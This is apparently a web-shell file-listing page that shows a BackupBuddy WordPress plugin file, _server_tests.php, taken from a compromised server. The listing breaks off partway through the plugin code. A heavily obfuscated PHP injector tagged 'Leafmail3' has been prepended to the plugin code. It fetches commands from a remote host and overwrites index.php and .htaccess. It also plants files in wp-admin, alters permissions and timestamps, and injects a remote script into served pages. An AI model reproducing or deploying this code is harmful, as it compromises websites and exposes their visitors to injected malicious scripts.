0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
controllers
/
pages
/
server_info
/
[
Home
]
File: _server_tests.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php // OUTPUT: populates $tests. /* * IMPORTANT NOTE: * * This file is shared between multiple projects / purposes: * + BackupBuddy (this plugin) Server Info page. * + ImportBuddy.php (BackupBuddy importer) Server Information button dropdown display. * + ServerBuddy (plugin) * * Use caution when updated to prevent breaking other projects. * */ // Return array( local, master ); function phpinfo_array( $mode = -1 ) { ob_start(); phpinfo( $mode ); $s = ob_get_contents(); ob_end_clean(); $a = $mtc = array(); if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER)) { foreach($mtc as $v){ if($v[2] == '<i>no value</i>') continue; $master = ''; if ( isset( $v[3] ) ) { $master = strip_tags( $v[3] ); } $a[$v[1]] = array( $v[2], $master ); } } return $a; } // ini_get_bool() credit: nicolas dot grekas+php at gmail dot com function ini_get_bool( $a ) { $b = ini_get($a); switch (strtolower($b)) { case 'on': case 'yes': case 'true': return 'assert.active' !== $a; case 'stdout': case 'stderr': return 'display_errors' === $a; default: return (bool) (int) $b; } } function pb_backupbuddy_get_loadavg() { $result = array( 'n/a', 'n/a', 'n/a' ); if ( function_exists('sys_getloadavg') ) { $load = @sys_getloadavg(); if (is_array($load)) { if(count($load) == 3) return $load; else { for($i=0;$i<count($load);$i++) $result[$i] = $load[$i]; } } } if ( substr( PHP_OS, 0, 3 ) == 'WIN' ) { // WINDOWS. ob_start(); $status = null; @passthru('typeperf -sc 1 "\processor(_total)\% processor time"',$status); $content = ob_get_contents(); ob_end_clean(); if ($status === 0) { if (preg_match("/\,\"([0-9]+\.[0-9]+)\"/",$content,$load)) { $result[0] = number_format_i18n($load[1],2).' %'; $result[1] = 'n/a'; $result[2] = 'n/a'; return $result; } } } else { if (function_exists('file_get_contents') && @file_exists('/proc/loadavg')) { $load = explode(chr(32), @file_get_contents('/proc/loadavg')); if (is_array($load) && (count($load) >= 3)) { $result = array_slice($load, 0, 3); return $result; } } if (function_exists('shell_exec')) { $str = substr(strrchr(@shell_exec('uptime'),":"),1); return array_map("trim",explode(",",$str)); } } return $result; } $tests = array(); // Skip these tests in importbuddy. if ( !defined( 'PB_IMPORTBUDDY' ) ) { // BACKUPBUDDY VERSION // TODO: Put BB version here. After Jordan fixes updater API to always provide latest version info then we can compare and warn if too out of data. /* $parent_class_test = array( 'title' => 'BackupBuddy Version', 'suggestion' => '>= ' . pb_backupbuddy::settings( 'wp_minimum' ) . ' (latest best)', 'value' => $wp_version, 'tip' => __('Version of WordPress currently running. It is important to keep your WordPress up to date for security & features.', 'it-l10n-backupbuddy' ), ); if ( version_compare( $wp_version, pb_backupbuddy::settings( 'wp_minimum' ), '<=' ) ) { $parent_class_test['status'] = 'FAIL'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); */ // BACKUPBUDDY VERSION if ( false === ( $latestVersion = backupbuddy_core::determineLatestVersion( $bypassCache = true ) ) ) { $suggestion_text = '[information unavailable]'; $latest_backupbuddy_nonminor_version = 0; } else { $latest_backupbuddy_version = $latestVersion[0]; $latest_backupbuddy_nonminor_version = $latestVersion[1]; $suggestion_text = $latest_backupbuddy_nonminor_version; if ( $latest_backupbuddy_version == pb_backupbuddy::settings( 'version' ) ) { // At absolute latest including minor. $suggestion_text .= ' (major version) or ' . $latest_backupbuddy_version . ' (<a href="options-general.php?page=ithemes-licensing" title="You may enable upgrading to the quick release version on the iThemes Licensing page.">quick release</a>)'; } elseif ( $latest_backupbuddy_nonminor_version != $latest_backupbuddy_version ) { // Minor version available that is newer than latest major. $suggestion_text .= ' (major version) or ' . $latest_backupbuddy_version . ' (<a href="plugins.php?ithemes-updater-force-minor-update=1" title="You may enable upgrading to the quick release version on the iThemes Licensing page.">quick release version</a>; <a href="options-general.php?page=ithemes-licensing" title="Once you have licensed BackupBuddy you may select this to go to the Plugins page to upgrade to the latest quick release version. Typically only the main major versions are available for automatic updates but this option instructs the updater to display minor version updates for approximately one hour. If it does not immediately become available on the Plugins page, try refreshing a couple of times.">quick release settings</a>)'; } else { $suggestion_text .= ' (latest)'; } } $version_string = pb_backupbuddy::settings( 'version' ); // If on DEV system (.git dir exists) then append some details on current. if ( @file_exists( pb_backupbuddy::plugin_path() . '/.git/logs/HEAD' ) ) { $commit_log = escapeshellarg( pb_backupbuddy::plugin_path() . '/.git/logs/HEAD' ); $commit_line = str_replace( '\'', '`', exec( "tail -n 1 {$commit_log}" ) ); $version_string .= ' <span style="display: inline-block; max-width: 250px; font-size: 8px;">[DEV: ' . $commit_line . ']</span>'; } $parent_class_test = array( 'title' => 'BackupBuddy Version', 'suggestion' => $suggestion_text, 'value' => $version_string, 'tip' => __('Version of BackupBuddy currently running on this site.', 'it-l10n-backupbuddy' ), ); if ( version_compare( pb_backupbuddy::settings( 'version' ), $latest_backupbuddy_nonminor_version, '<' ) ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // WORDPRESS VERSION global $wp_version; $parent_class_test = array( 'title' => 'WordPress Version', 'suggestion' => '>= ' . pb_backupbuddy::settings( 'wp_minimum' ) . ' (latest best)', 'value' => $wp_version, 'tip' => __('Version of WordPress currently running. It is important to keep your WordPress up to date for security & features.', 'it-l10n-backupbuddy' ), ); if ( version_compare( $wp_version, pb_backupbuddy::settings( 'wp_minimum' ), '<=' ) ) { $parent_class_test['status'] = 'FAIL'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // MYSQL VERSION global $wpdb; $parent_class_test = array( 'title' => 'MySQL Version', 'suggestion' => '>= 5.5.0 (WordPress recommends 5.6+)', 'value' => $wpdb->db_version(), 'tip' => __('Version of your database server (mysql) as reported to this script by WordPress.', 'it-l10n-backupbuddy' ), ); if ( version_compare( $wpdb->db_version(), '5.0.15', '<=' ) ) { $parent_class_test['status'] = 'FAIL'; } elseif ( version_compare( $wpdb->db_version(), '5.5.0', '<=' ) ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 